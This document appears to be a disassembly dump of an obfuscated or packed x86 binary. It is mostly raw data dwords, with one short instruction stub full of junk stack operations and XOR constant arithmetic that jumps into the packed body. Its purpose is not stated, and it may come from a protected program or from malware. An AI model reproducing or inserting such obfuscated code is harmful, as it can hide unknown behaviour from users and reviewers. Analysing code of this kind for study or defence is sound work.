		dd 319B3F04h, 0DB316F0Ch, 189DF6B8h, 0D55F0910h, 64D14D6Ah
		dd 0E7A999C5h, 0CD888A17h, 0DAEB5E28h, 77F247B3h, 0E299h
		dd 0EA521E00h, 68D5F6CDh, 0A8D0744Fh, 3D372BCCh, 0E4C7A285h
		dd 6A407B5Ch, 3195F6AFh, 3DE7A4E2h, 0C0E7587Bh,	0FF4467FBh
		dd 0CA7FE3D8h, 9BB8DB47h, 0D2B70225h, 30B641F8h, 1708360h
		dd 803692F1h, 0B7316F4Fh, 70D4B72Bh, 3BA1A171h,	385B38A4h
		dd 0AA50A51Bh, 7D3459C2h, 0FCB28915h, 0BDFCAF35h, 8F3AA6B2h
		dd 533611ACh, 41F75330h, 763BA09Ch, 0C17C5FEAh,	0B72674E6h
		dd 0E8D35D6Dh, 10E6Dh, 0D2F54900h, 0C2B94B7h, 0D7F04A69h
		dd 0D2A91B2h, 0D1F64B68h, 81F8A0B4h, 5D7E1B3Ch,	82A1C4E3h
		dd 5A791C3Bh, 21A0C5E2h, 0B450E642h, 30673161h,	0C8EF52B7h
		dd 0C26AE5ABh, 5B9398D9h, 0ABE5BD84h, 0BBE7A2Bh, 0F8430D6Eh
		dd 0E1ABAAh, 2E96B500h,	36E452F6h, 9135372Bh, 372B3627h
		dd 95098418h, 52EB6C09h, 0D5F6CDEAh, 0E5E986Dh,	0E9D4EF1Dh
		dd 0D24E7552h, 0F7D06D4Eh, 0A9CC50CCh, 1BA0D883h, 79B073Ch
		dd 0F2C064h, 59C53DE1h,	0A533743Ah, 457E59E3h, 6C0697D9h
		dd 0C6E5DE6Bh, 1F3C597Eh, 1FBB80A7h, 3DE9741Eh,	6BC9FFCh
		dd 0BD900AF3h, 23BFB046h, 1F073796h, 0C6E580A7h, 743A597Eh
		dd 9BE11452h, 546FDA17h, 88AF1437h, 76612FB3h, 361C2560h
		dd 68D3F045h, 0B60F2C4Fh, 8CB7902Eh, 2398C10h, 0C2C4F859h
		dd 1B385D7Ah, 0C4E784A3h, 0FB675C7Bh, 38A3C98h,	31AD3DF9h
		dd 0C3ABF84h, 0BD000000h, 1C0F5C12h, 0B43633A2h, 52109701h
		dd 0D1F2C9EEh, 56754E69h, 0D0F3C8EFh, 5172496Eh, 0D3F0CBECh
		dd 5172496Eh, 0D5F6CDEAh, 5073486Fh, 70F3C8EFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	23CBh
		mov	[esp], ecx
		push	4045h
		mov	[esp], esi
		push	eax
		mov	eax, 3D861E29h
		inc	eax
		shr	eax, 2
		push	esi
		mov	esi, 49307136h
		add	esi, 56C87427h
		sub	esi, 1E933189h
		neg	esi
		sub	esi, 2A49336Ch
		add	eax, esi
		pop	esi
		xor	eax, 137864C3h
		xor	eax, 7680A952h
		mov	ecx, eax
		pop	eax
		push	1B28h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		sub	esp, 4
		mov	[esp], ecx
		pop	dword ptr [esi+8]
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_550F18
; ---------------------------------------------------------------------------
		db 24h
		dd 6385BE7Ch, 90714D83h, 784EB8D2h, 0C503064Ah,	0E99BE0FFh
		dd 0C1EB0F25h, 0C8D271B8h, 0D5BA6C4Ah, 83A44E87h, 10B54982h
		dd 8D8D266Dh, 64A79EAh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 4C35646h, 29F5BF51h, 895F1FCFh, 442F5D8Dh
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 0C935B547h, 0DA8B669Ah, 67985C7h, 5FE80644h
		dd 81660000h, 0C7E3B6EBh, 44107185h, 6,	53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
		dd 0BD89AAAFh, 64431A5h, 8D1653B8h, 49B5FF2Ah, 6A064416h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 0EA44C355h, 2C520B74h, 0FFACEC2Fh, 440BF995h
		dd 0FF006A06h, 441C4D95h, 0EBC08B06h, 0C41E5F2Dh, 6388631Ch
		dd 993E69D4h, 1D424CA3h, 7961CAC7h, 50A3BD68h, 0D761808Ch
		dd 0A32C2638h, 59E76E71h, 6C64FC31h, 6D3BA0C1h,	11E8EF05h
		dd 72000000h, 852F3BAAh, 0CE6CBB1Ah, 1980141Fh,	68A80D53h
		dd 68C0Fh, 0BD890000h, 644222Dh, 0D9D8B59h, 8106440Eh
		dd 6AF4C1h, 75B58B00h, 0BF064428h, 1A96h, 291B501h, 31FF0644h
		dd 2820Fh, 88B60000h, 72C08158h, 0E94FCADEh, 5,	9F54E352h
		dd 0BDF081ABh, 232966F2h, 440A7D9Dh, 0F5C08106h, 891BF3A5h
		dd 4408599Dh, 0B5315006h, 6441EBDh, 6060018Fh, 89F78B66h
		dd 442121BDh, 83616106h, 816603E9h, 49637BCBh, 0EF83D58Ah
		dd 0A3850F01h, 51FFFFFFh, 2AB7CB81h, 0EB5B1225h, 0A43CE904h
		dd 592E91Bh, 21830000h,	0B82C12BBh, 279BA50Ch, 0BD221CB5h
		dd 1E88B61Fh, 32D0FA6h,	9C35AF19h, 288143A2h, 9831AB16h
		dd 2E873DA6h, 0EA910E6Ah, 0E3C2E619h, 76EFD1B5h, 153486CEh
		dd 4109BB2Bh, 60D067Fh,	12BDBC4Dh, 0CEF06948h, 0D292F358h
		dd 2F4B6A4Bh, 940DB711h, 0A71D8BB5h, 0FE571F3Eh, 0D6A463C0h
		dd 53CCBD40h, 9A41DEA0h, 33C92F9Bh, 94AA3312h, 57F3E62Fh
		dd 1C25EBE1h, 0FA67593Dh, 0B2FADB42h, 10714F2Bh, 6ADAE4ACh
		dd 0E55D63FAh, 73D0EE77h, 9DE668F1h, 853FA491h,	0F98BEFA4h
		dd 6A4377EFh, 0EC97DF36h, 0F470D542h, 0B06BF490h, 51C92FB9h
		dd 0F6D74EF6h, 40E9A180h, 0F059037Eh, 70E953CEh, 0E13ED74Eh
		dd 5C0A4327h, 0BFC75E7Fh, 7920BFDBh, 52C92FCAh,	0D6403B73h
		dd 39AB1D23h, 0CA17C25Dh, 91B0C92Fh, 0C07CE7D9h, 69EE5769h
		dd 0C7846FEh, 0C1E0C158h, 0B92B9BA5h, 0D0490120h, 2FCA894Fh
		dd 501470C9h, 0D58FF7C9h, 0D15D264Ch, 0BC661D7Bh, 0F3E9EF57h
		dd 950E3001h, 0A997B62Fh, 3011883Ch, 4D2878h, 4F9A0000h
		dd 68F76ED6h, 0C93094AFh, 46AB770Ch, 1F4B3DEh, 117h, 7115A500h
		dd 30942BEEh, 0F5BD9CC9h, 70E95BCBh, 0F76ED64Eh, 7DE458C9h
		dd 59205236h, 7D1ABF29h, 8A94EFA7h, 228B39ADh, 0FEBD2246h
		dd 0CFC93037h, 2B98A6EEh, 4FA210B9h, 0CCF26BD9h, 6064BF58h
		dd 0EB2B7C2h, 1D88B62Fh, 0A1003EA7h, 6D3AE17Eh,	0B293C930h
		dd 0FF840A93h, 0A3C7D933h, 25BC289Dh, 0EB374C04h, 0ECAF3054h
		dd 0DDC9306Ch, 1C8AB4FCh, 37A8CCA8h, 0C9306D84h, 5127950Dh
		dd 0AF913870h, 29178E36h, 6AA950B9h, 830F832Fh,	0B7C5E570h
		dd 0C6E7C16Ah, 4300615Fh, 0D9F861E3h, 0E65F61F8h, 0E49FE77Eh
		dd 0FE85C23Ah, 9567CF34h, 518C01F4h, 3E000000h,	0F26BD94Fh
		dd 71E854CCh, 22D5413Ah, 0A33AAA1Ch, 94A158C7h,	0B2AC930h
		dd 0EA5C622Ah, 8AEF9829h, 614017D9h, 0D490F6C8h, 0AE0E734Dh
		dd 1F0B7037h, 0F42BDA3Ah, 581B01h, 4FA90000h, 0CCF26BD9h
		dd 147EE755h, 0F056C36Fh, 0B52E1074h, 5CEE470Fh, 1472D74Fh
		dd 0C9E8C950h, 9409CF50h, 95F0C930h, 1988B62Fh,	9B043AA3h
		dd 0D299B821h, 34DC7DA9h, 666CCA6h, 0CDB6D0F1h,	0CC88FC61h
		dd 0EB9901F3h, 0A7681C4h, 98EACB52h, 246C8BA9h,	174h, 0D34FC600h
		dd 9408B32Ch, 1F89C930h, 6B1D3CA5h, 880E384Ah, 0C77430E2h
		dd 0E4417FE6h, 0FF600460h, 0C9305F3Ch, 7DE4AC8Dh, 47B47E05h
		dd 8EC861DBh, 0ABCFABE2h, 305F8534h, 0BD2246C9h, 0C9305EFEh
		dd 87CFEECFh, 7C0E7CE3h, 7E5FCF74h, 1FBD241Ah, 93F0CE57h
		dd 0DD4678D1h, 0FE9AFE67h, 0EC6BBA61h, 7A3213C2h, 0EC6B34E5h
		dd 2CF68DC2h, 47EE56CFh, 0C1580C79h, 47DE86FFh,	41F82259h
		dd 125A027Fh, 0A40DB72Ch, 803BA4C0h, 1C2EC6Bh, 84A53CA0h
		dd 0AD9BD3F2h, 0FBB08A39h, 150FAh, 9B374800h, 8D127612h
		dd 0C93093CEh, 0FC60C1FFh, 6EF195DDh, 0CF74C21Ch, 0EBD54C6Dh
		dd 763CA7Ah, 5CC09675h,	2C649F99h, 0AA33B112h, 0D1B52F94h
		dd 126F2AB5h, 6658C2ECh, 2E6647FDh, 0E71A89B7h,	0EC12C178h
		dd 0A2B0AC2h, 8A3AAD93h, 0CB82D13h, 4FBD6912h, 13002A51h
		dd 0D73661B2h, 0CEA39394h, 147046EFh, 21FBAFEAh, 6Ah, 169F3793h
		dd 947EED72h, 0EECFC930h, 9431E877h, 6DD2C930h,	9466158Ah
		dd 4667C930h, 63C0FE67h, 8DF678E1h, 0CA71EEA1h,	3C93094h
		dd 0E98D0322h, 6CF56FD7h, 0B47E054Dh, 1C3231Dh,	0B7F1B998h
		dd 96F2961Fh, 30945209h, 0DC457BC9h, 6D094160h,	309497F2h
		dd 95F1D0C9h, 2A9936ABh, 2B0A2BB2h, 72DB93B2h, 7CE6h, 9B375400h
		dd 97E97612h, 0F6CF74A0h, 13704ED7h, 5DC6F851h,	78E783E7h
		dd 0C2EC88C1h, 10CC340Ah, 7FE07931h, 0C2EC89B7h, 9943BEh
		dd 871EC63Eh, 916BB7CCh, 0B99680FBh, 7731984Ch,	0A93652DBh
		dd 0C93702B1h, 1CC1221Ch, 82A33AAAh, 4F56D1A3h,	1C63C1D4h
		dd 299AA43Dh, 215A22BBh, 603042F5h, 0B289A0E8h,	0BECE4E3Ch
		dd 56FEC70Eh, 62B8581Eh, 6624301h, 6C9FA199h, 0A40D2CCFh
		dd 0BA2B1516h, 6C04420Ah, 0DEDA4521h, 6FCF7B0Eh, 6B4AF251h
		dd 0ED57CCF2h, 5B097A44h, 0D6F45DC2h, 374CE0D4h, 2F950EEBh
		dd 500C754Bh, 168FB118h, 0CEC574EBh, 2706AD8Bh,	40A19F06h
		dd 67D059Ch, 1EC63F1Ch,	27A1D3B7h, 0D6C0BCEh, 8D3CF6A2h
		dd 0CE7670FFh, 0FF2CC8F0h, 0C38BAAB5h, 45DC88FDh, 15D1h
		dd 67156300h, 0AA2B6EBBh, 3F074F5Bh, 0C366295Bh, 0BF63E4D4h
		dd 0D54F45F7h, 63C0FE67h, 0DB4678E1h, 5FC6F861h, 0E4427CE5h
		dd 61C7F960h, 0DB447AE3h, 5AC6F861h, 0E1457BE2h, 68EDFA63h
		dd 4954h, 56243C89h, 0C681E689h, 4, 4EE81h, 34870000h
		dd 3C895C24h, 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h
		dd 51241489h, 0B32C79B9h, 0FF514915h, 8159240Ch, 0CE60D7F1h
		dd 14E98175h, 815BFE7Fh, 34B740F1h, 59CF8902h, 24148B54h
		dd 6804C483h, 503Fh, 8F243C89h,	34FF0842h, 0C4835A24h
		dd 243C8B04h, 5E08950h,	4, 8704C083h, 0E95C2404h, 0FFF9FEBEh
		dd 0C8C389F4h, 4A7FD5B8h, 0FFC50306h, 70EDBE0h,	0A3A84249h
		dd 9A5DE27Ch, 195AC575h, 0D4503802h, 0DC45A442h, 3F16B34Bh
		dd 0C281F374h, 0C27B492Eh, 3C1B6F0Dh, 749EB877h, 0C5A1C053h
		dd 363D4448h, 3C991C36h, 0BDEEE324h, 0CEBCBE01h, 6911A271h
		dd 4D5D8239h, 0F4F58A7Ch, 8EB78h, 0A5000000h, 0E95A0DB6h
		dd 4F7h, 4A81BD68h, 0FE4CE906h,	5068FFF9h, 0E9064A82h
		dd 0FFF9FE42h, 4A83E468h, 0FE38E906h, 35AFFFF9h, 0B4102E87h
		dd 3BA79930h, 0A9162881h, 42A49A33h, 1F092B82h
		dd 0B019CB3Dh, 4AD178Eh, 0BC15C73Ah, 0AA32182h,	6B52A4Eh
		dd 0C7C2E614h, 0D94F2391h, 57CCF26Bh, 6E0244EDh, 96DC4327h
		dd 0D7CF74B5h, 350B6FF6h, 0AC8D14D0h, 73BC7BE4h, 473CC2ECh
		dd 930E76DBh, 6F27FBB0h, 95000003h, 0B55DCEC2h,	93F7A23Dh
		dd 0EED0C930h, 0C9E8C973h, 33BBC9ADh, 0D7821DDEh, 0F0C93043h
		dd 3148A3D1h, 542AB5FDh, 0B5CF7433h, 0C2B0D494h, 59F512CFh
		dd 25BAF28Ah, 0C05163EBh, 5B3F761Ah, 52D08EC4h,	8AEECFD4h
		dd 0B8CA71EEh, 3D03CBCAh, 0A3821BC9h, 1553CA82h, 3054307Dh
		dd 672F950Eh, 0EF2A2F8h, 0AECAEBD2h, 18B13390h,	61DE427Ch
		dd 357D5C00h, 8F2A9A0Bh, 86CD8883h, 5D841089h, 0F2000003h
		dd 0BB852C90h, 0E30994Bh, 0BD832A92h, 0F319844h, 0A0822B99h
		dd 0A2228478h, 12D2350Bh, 0BE1E85BBh, 8BC2917h,	1E81E5A1h
		dd 0C2E6135Bh, 15883A6Ch, 9108BC2Bh, 12BEF8B0h,	60C1FF9Bh
		dd 0E1C084E3h, 5852CDA9h, 91CF7B15h, 108933AFh,	1430EB74h
		dd 0B899C2E6h, 0B8DCB899h, 0E6147427h, 0FC6B55C2h, 45216948h
		dd 22A71F21h, 682001C3h, 0DD74F056h, 46DF85E3h,	3AAA1C22h
		dd 0B8249DA3h, 864ED199h, 8FC2E614h, 190BAE16h,	0F845911h
		dd 2CA0296h, 0A51F0000h, 44A09E37h, 0AB172980h,	39A69831h
		dd 0B2142A83h, 6FB99B32h, 0A91B8Dh, 0B41DC73Eh,	0CA5178Ah
		dd 0BA13D132h, 56059AFEh, 77C2E612h, 9B379321h,	0E3E97612h
		dd 2ACF7B14h, 4A0D920Bh, 33C2E614h, 0B68811D3h,	6C08914Bh
		dd 0E61448F3h, 0D8A081C2h, 0C28577A3h, 1C886DB9h, 0EDFBAA2Fh
		dd 4896AE9Fh, 73ECD146h, 0C2E604C8h, 49012001h,	1E919h
		dd 0D64FAB00h, 92780A6Eh, 9E1A66D8h, 0B6881159h, 0A91B884Dh
		dd 74D2EC88h, 0EF55CEF0h, 0B61F5776h, 0B1D560F0h, 73F5342Eh
		dd 7CE387CFh, 0C2EBB4BDh, 0B0112F0Eh, 0FCB4950Ch, 0AD32AB8Ah
		dd 0C2EBB3EAh, 0A08591EAh, 0FBAFCF44h, 27F1h, 9B374300h
		dd 53E97612h, 0A8CF749Fh, 2EB72D96h, 1031470Fh,	895F1689h
		dd 2A51C2ECh, 0A8AB1B00h, 0E48FBB0h, 0FA000001h, 0B42BD64Fh
		dd 0C9309405h, 68D9E7C6h, 284CD5F4h, 9428D34Ch,	80A1C930h
		dd 0D490F6C8h, 4D12734Dh, 0D0F168D4h, 52CB71EEh, 0AFCB5273h
		dd 4884B2DDh, 0BCF4FE71h, 0AA32182h, 0EA711C6Eh, 0AE1CC8Fh
		dd 0D3E0342Ch, 0F476662h, 3059C390h, 511370C9h,	0BCE5135h
		dd 0BCC93059h, 3A7CD59Dh, 3D424C96h, 912BFFFEh,	8FAE8F35h
		dd 74EB8FEBh, 0C92FAFC5h, 0F06F2706h, 0CF765501h, 1B7F1B3Ah
		dd 0EA53D584h, 0B3D7F6C2h, 0EA546D2Ch, 377F5EC2h, 0BC453753h
		dd 613366BFh, 2284BAF2h, 0F9646BDh, 98A60F2Eh, 0B13B62Eh
		dd 717BAA22h, 1367CE8h,	39AB0000h, 0B0142A83h, 3FA39D34h
		dd 950A349Dh, 56B08E27h, 0BB6547EEh, 0D47DE741h, 60C97BEAh
		dd 0D079E35Eh, 66CF75EEh, 22D94622h, 0ABC2E611h, 0D94F4FFDh
		dd 2590DD38h, 3092FFBAh, 9BE9C8C9h, 2F971043h, 2C0D2CB5h
		dd 299AA40Dh, 127612BBh, 300ECE8Dh, 0BADEFFC9h,	300F7625h
		dd 3E7657C9h, 0EE71158Ch, 0C930942Bh, 9F3DA29Ch, 5BC8F6BEh
		dd 0D54E70E9h, 0F080C66Fh, 0C1A5C1A5h, 30949B5Eh, 450D2CC9h
		dd 74E270DAh, 0FD99EBCFh, 0D4920D43h, 4C0251Bh,	82F4BC9Dh
		dd 8FF9C7A3h, 89F855CAh, 7AD3F2D3h, 0EC8B32E5h,	0FA6ADBC2h
		dd 0ECE0EC9Eh, 6FE3AC58h, 56B08E27h, 79E377EEh,	87000000h
		dd 5EBD7CE3h, 2F0EC2ECh, 7115D567h, 30942BEEh, 0F5BD9CC9h
		dd 0F2961FB3h, 7B15636Dh, 1A83A2CFh, 0AC05BF24h, 0D78DF6C8h
		dd 19276F4Eh, 37E27DACh, 90C2E614h, 960990B1h, 1F2D4486h
		dd 3815017Ah, 437D19CBh, 9F367EDEh, 198044A1h, 9B02BA27h
		dd 188143A5h, 9C05BF26h, 0ABA18DF6h, 917EA8D3h,	7D19B034h
		dd 0D35A130Fh, 246C45B7h, 0A23BA91Ah, 336h, 0FB498400h
		dd 0FE67D54Fh, 78E163C0h, 0F861DB46h, 7CE55FC6h, 0F960E442h
		dd 7AE361C7h, 0F861DB44h, 7BE25AC6h, 0FA63E145h, 173368EDh
		dd 1C890000h, 0E7895724h, 4C781h, 0EF810000h, 4, 5C243C87h
		dd 68243C89h, 2DDAh, 56241C89h,	4A80E068h, 0F7895E06h
		dd 4EC835Eh, 81242489h,	42404h,	815B0000h, 4ECh, 243C8900h
		dd 8B08438Fh, 8956241Ch, 4C681E6h, 81000000h, 4C6h, 24348700h
		dd 2434FF5Ch, 4C4815Fh,	0E9000000h, 0FFF9F96Ah,	47968122h
		dd 0D0F7A54Fh, 0B8BC41C3h, 64A853Fh, 0E0FFC503h, 105B4F65h
		dd 329EAAE2h, 783921BEh, 3D542093h, 5E279381h, 4F058995h
		dd 7D4DCA12h, 492D1FEh,	6936C9BAh, 2182DFF8h, 7AA5D7Ch
		dd 29461F32h, 264B7CF3h, 26358CBEh, 308B8132h, 65FC62EDh
		dd 6E8h, 93E90100h, 5873CD3Ah, 81CE8B66h, 723FC0h, 30BABA00h
		dd 67BB412Eh, 5300001Ch, 0A2C0EF81h, 0FF5A5583h, 5ED78B30h
		dd 2840F52h, 56000000h,	0C681595Ah, 7178DE1h, 9E8h, 0CB011300h
		dd 19466A47h, 815F0969h, 5C9CA0EEh, 8C0F48h, 81000000h
		dd 49829BC6h, 89D18A77h, 83CF8B30h, 88B101E8h, 0F484848h
		dd 8Ah,	1EB8300h, 17850Fh, 850F0000h, 5, 16E78166h, 22E9E0h
		dd 1BCD0000h, 0E1A0E7CFh, 71F680C1h, 0FFFF8EE9h, 68F091FFh
		dd 74699AFAh, 0F11B980h, 0CA0C8437h, 0BF395B8h,	8E8h, 3686E800h
		dd 117C2D4Bh, 54E9B954h, 665F120Ah, 0C781C78Bh,	5D43h
		dd 8BF62BF5h, 0D7803714h, 6BEA813Ch, 660AFF84h,	5FDFD081h
		dd 0FF65C281h, 0EC8030EAh, 0F2F281B6h, 0B531CFBAh, 0E9815200h
		dd 13668D3Ah, 8037048Fh, 0B9664FECh, 0EE83541Fh, 81666001h
		dd 0F31FDF2h, 4E61C9BFh, 81F94E4Eh, 0FFA370FEh,	38850FFFh
		dd 60000000h, 0E859F856h, 14h, 0A8528FEFh, 5D2AED27h, 0C91CCAD8h
		dd 95BB2973h, 0DF42C614h, 615BF38Bh, 27E9h, 4B3B9600h
		dd 0A01B9070h, 0B3EB1A15h, 0CEF88C28h, 60FFF853h, 58616053h
		dd 6CE961F9h, 0B3FFFFFFh, 4738AEA3h, 9767F3B1h,	881E8D8Dh
		dd 0D18B064Ah, 2F5D8D89h, 6A0644h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 0D4350EC3h, 0A23E5EBh
		dd 0F78166F8h, 85C7A594h, 6440679h, 6CD4h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0BAC35343h, 50EC1351h
		dd 292E6A3Fh, 4403CD95h, 7185C706h, 64410h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 2884C352h, 21118D89h, 0B5FF0644h,	6440C0Dh
		dd 3CC08166h, 0F995FFA7h, 8B06440Bh, 4408B5BDh,	0FF006A06h
		dd 441C4D95h, 0EBC08B06h, 445A5F6Ch, 0EF287C6Eh, 0E9A8541Eh
		dd 0EC70B744h, 55745CFFh, 0CAF145EFh, 0B474BD6Bh, 0E9C8E845h
		dd 188692A4h, 4C256463h, 0F8A8FDDCh, 960F8AFAh,	0DF4726F5h
		dd 0D107B5Dh, 3CDD0F97h, 904D70DEh, 7D4D371Eh, 2DA7C15Dh
		dd 0C0308C60h, 38AC60Ch, 0B0FBB735h, 433F3F8Bh,	6309A631h
		dd 0AB9EBE27h, 38C212Eh, 0AF196417h, 9A3B1720h,	2D8D8DC0h
		dd 89064A89h, 4406E1BDh, 5D8D8906h, 0C706442Fh,	44067985h
		dd 704006h, 7185C700h, 64410h, 8B000000h, 4403E585h, 6DB5FF06h
		dd 6A064419h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 0F746C350h, 0E913BA3Bh, 11h, 74AA05E6h
		dd 21DFBB4Bh, 0B84EFC13h, 0AEE5BC59h
		dd 0FADB816Ah, 0FF30F39Ah, 440BF995h, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
		dd 0F781F530h, 4B26ED1Eh, 95FF006Ah, 6441C4Dh, 6AEBC08Bh
		dd 600A0A54h, 0FAA4D1C3h, 545A0F9Eh, 0CC6565B4h, 6D2F33AEh
		dd 76EC99B1h, 34A07449h, 8081A4D6h, 393C060Ch, 0E098CB64h
		dd 53BB810h, 0D02EB8ADh, 751202D0h, 67F056A9h, 6DB6F34Ah
		dd 12C53CD2h, 2BC0A5CEh, 989E6DCAh, 0EB07C13Dh,	0D0A6960Eh
		dd 1E9AF98h, 0B80DE3C1h, 0DD9CC50Eh, 0D5FC907Bh, 1CC3BD48h
		dd 6096B030h, 8D8DC79Fh, 64A8A87h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 34C35141h, 591C7A9Bh, 0FC5A9148h
		dd 14E8h, 3326C00h, 74C2375Dh, 0A47139A3h, 93B0739Ah, 242E0493h
		dd 85B5236Eh, 5E064419h, 2F5D8D89h, 6A0644h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0EAFFCAC3h
		dd 0D4E6BDBDh, 19B58982h, 0C7064421h, 44067985h, 714006h
		dd 0C2816600h, 85C72654h, 6441071h, 0
		dd 1F6D9D8Bh, 0B5FF0644h, 6441099h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 2C35141h, 0CD87F5D1h, 0E6D8817Eh
		dd 0FF6BB0B2h, 440BF995h, 14E906h, 410000h, 0D84F64FDh
		dd 9FE06D2Ch, 1288E47h,	0FC67B212h, 6A6D42h, 1C4D95FFh
		dd 0C08B0644h, 40954EEBh, 22A0D269h, 6B1D035h, 0BE6DEA4Fh
		dd 0A95EA584h, 583E46C9h, 2A857FC2h, 7A10B225h,	6A789A83h
		dd 0B2F5DA11h, 3104AC40h, 0EE6A7FA1h, 9CB2F9B8h, 40BF640h
		dd 499D0DE6h, 3990BE61h, 0CB794250h, 265CF1DFh,	0D2101A58h
		dd 0DF765AA1h, 8E8h, 0D6C2B900h, 9EEFA82Ah, 0E95EFC6Ah
		dd 11h,	4330A5BEh, 0D9201130h, 5F51CE46h, 5CC9EF29h, 0CAC6819Eh
		dd 0E9000066h, 0Bh, 0AB17D02Bh,	3384FCD1h, 0BAD3DF9Dh
		dd 198Bh, 2EF1B966h, 8C0F36FFh,	16h, 11E9h, 53BCFF00h
		dd 0B82E1046h, 2B6499B9h, 3710A5DEh, 815B071Fh,	8C23AFC3h
		dd 81C0B059h, 6B4EA8EBh, 898D015Ch, 81064414h, 66CBFAC3h
		dd 0CD858B6Dh, 8906440Ah, 0D595311Eh, 81064421h, 236AE6EEh
		dd 0E2C68164h, 0F964236Ah, 0F01EA83h, 0FFFFA385h, 19BD8BFFh
		dd 0E806441Fh, 0Ah, 0EB1E9CF0h,	0DB3812D7h, 0B58B6846h
		dd 6441DC1h, 619D8959h,	81064422h, 5FACC1h, 5DBD3100h
		dd 0BA064400h, 0
		dd 25398523h, 1C8B0644h, 39B58911h, 81064409h, 849230F3h
		dd 59BD897Ch, 81064400h, 0EF5891EBh, 0C1BD8B4Ch, 8106441Fh
		dd 0B19ED2EBh, 6800F7Eh, 81000000h, 3774D5E6h, 0B70F530Bh
		dd 11048FF8h, 67D9589h,	0BD8B0644h, 6441535h, 0F504EA83h
		dd 0A0E0FA81h, 850FFFFFh, 0FFFFFFAAh, 68E0Fh, 858B0000h
		dd 6443041h, 8C858D8Dh,	890F064Ah, 6, 33999D8Bh, 8D890644h
		dd 6442F5Dh, 0C75AE080h, 44067985h, 6CDC06h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 6660C53Ah, 0F587ABAh, 0C761D2B7h, 44107185h,	6, 6DB52B00h
		dd 0FF064431h, 440D55B5h, 95FFFC06h, 6440BF9h, 95FF006Ah
		dd 6441C4Dh, 1EEBC08Bh,	0B7743699h, 43E44F20h, 1DBBF144h
		dd 3E1D2306h, 0AEE61765h, 0C8144765h, 809F8395h, 8D8D42FAh
		dd 64A8D54h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	0EC35343h, 8D89FCF2h, 6442F5Dh,	67985C7h, 717C0644h
		dd 0DE90000h, 0B4000000h, 19F38389h, 0BDCFD19Ch, 0E7135270h
		dd 107185C7h, 644h, 6A0000h, 3E852h, 5A200000h,	54895AC3h
		dd 44810424h, 180424h, 52420000h, 0F5872DC3h, 9D8B9ADDh
		dd 6443011h, 196DB5FFh,	0EE90644h, 83000000h, 0F699CB73h
		dd 6C7ECAA2h, 0C17B0C43h, 0F995FF55h, 0E906440Bh, 0Bh
		dd 23A428BBh, 0AEA0AE7Bh, 6A78F6BFh, 4D95FF00h,	8B06441Ch
		dd 9A6AEBC0h, 419F8AEAh, 954F37C0h, 647A5330h, 61FD1712h
		dd 0ECA3792Ah, 70EA68C0h, 0A6CB3AF9h, 7D91F5B3h, 7E178DF9h
		dd 59167917h, 0D1C59572h, 401E43B6h, 1D602458h,	0B17F4E2Dh
		dd 9E2C931Bh, 831ABDC9h, 0E43CE3FAh, 0B8CDF19Eh, 53755C4Eh
		dd 709FF369h, 0F71FE784h, 0BDF8B1CAh, 0BFE7E433h, 27149489h
		dd 0A7AE9819h, 1B8FAEF0h, 0A08D8D81h, 6A064A8Eh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 0FF20C357h, 0D17FAE60h, 3076C568h, 523FD080h, 3FDEF081h
		dd 89581613h, 442F5D8Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 0FB8B66F0h, 67985C7h
		dd 680C0644h, 0BD890000h, 6441AB9h, 107185C7h, 644h, 0DA8B0000h
		dd 2A85B589h, 0B5FF0644h, 64408DDh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 5DC35545h, 970D107Bh, 0DE3CDD0Fh
		dd 0FFD08B70h, 440BF995h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 774E9595h
		dd 519D8B62h, 6A064420h, 4D95FF00h, 8B06441Ch, 227CEBC0h
		dd 1D979B6Fh, 344BAFCAh, 18D14FD3h, 364DE6C4h, 25C1EB80h
		dd 2B235447h, 6170E2AFh, 0CA9C5C27h, 9ED13D28h,	80972854h
		dd 72A9C942h, 751C645h,	9D8A60FBh, 961CE9D0h, 7136BC34h
		dd 6A84952Bh, 0AB1C4CE5h, 5DEA1FE4h, 0D27D8018h, 71F4976Ch
		dd 5D557219h, 1E191569h, 3DD322DEh, 0F0B1329Ah,	5AAC4E48h
		dd 96CD2F13h, 2411AC9Bh, 0AF8D8CBh, 881DDDF6h, 56A7246Dh
		dd 0E80C9B36h, 11h, 8071DD42h, 0D0CFCE9Ch, 0A841B74Bh
		dd 94B863CCh, 25858B35h, 5F06440Ah, 0CF1858Bh, 0C7810644h
		dd 6AE0h, 0BBC1BF0Fh, 0
